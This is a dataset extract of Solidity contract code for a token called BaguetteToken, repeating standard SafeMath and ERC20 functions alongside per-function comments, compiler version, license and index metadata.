function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | div | function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
| /**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
3188,
3471
]
} | 11,260 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mod | function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
3931,
4066
]
} | 11,261 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | SafeMath | library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
} | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
4546,
4717
]
} | 11,262 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | name | function name() public view returns (string memory) {
return _name;
}
| /**
* @dev Returns the name of the token.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
883,
971
]
} | 11,263 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | symbol | function symbol() public view returns (string memory) {
return _symbol;
}
| /**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
1085,
1177
]
} | 11,264 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
} | decimals | function decimals() public view returns (uint8) {
return _decimals;
}
| /**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/ | NatSpecMultiLine | v0.6.0+commit.26b70077 | MIT | ipfs://e2bc32a60dba9f5dce470944657c0c98483ffe4b30293ee7aa9c89e015c80a0c | {
"func_code_index": [
1810,
1898
]
} | 11,265 |
||
BaguetteToken | BaguetteToken.sol | 0x7a545ed3863221a974f327199ac22f7f12535f11 | Solidity | ERC20 | contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
